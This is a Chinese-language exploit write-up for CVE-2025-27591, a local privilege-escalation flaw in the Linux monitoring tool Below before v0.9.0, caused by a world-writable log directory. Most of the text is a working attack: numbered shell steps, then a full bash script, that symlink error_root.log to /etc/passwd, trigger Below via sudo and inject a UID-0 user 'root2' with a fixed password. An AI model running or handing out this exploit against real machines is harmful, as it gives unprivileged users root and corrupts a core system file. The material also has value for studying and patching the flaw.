Below 是一款用于记录和显示系统数据(如硬件利用率和 cgroup 指标)的 Linux 工具。
在 v0.9.0 之前的版本中,Below 的 systemd 服务以 root 权限运行,并在 /var/log/below 下创建全局可写的日志目录和文件。这种不安全的配置使得 符号链接攻击 成为可能,允许无特权的本地用户将权限提升至 root。
该问题被分配了 CVE-2025-27591。
上游在 v0.9.0 中修复了此问题。
/var/log/below 中的符号链接攻击/var/log/below 具有 0777 权限。/var/log/below/error_root.log。/etc/passwd)的符号链接。这种行为绕过了内核的 protected_symlinks 加固机制,因为未设置粘滞位。
通过将 error_root.log 指向 /etc/passwd,我们可以注入一个具有已知密码的新 root 用户。
步骤 1:备份 /etc/passwd。
在修改系统文件之前请务必备份:
cp /etc/passwd /tmp/passwd.bak
步骤 2:生成恶意用户条目
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
步骤 3:创建指向漏洞日志的符号链接
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
步骤 4:触发日志创建
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
步骤 5:覆盖 /etc/passwd
cat /tmp/payload > /var/log/below/error_root.log
步骤 6:切换到新的 root 用户
su root2
# password: rooted123
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Privilege Escalation Exploit"
# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' is not available via sudo. Exiting."
exit 1
fi
# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"
# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')
# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
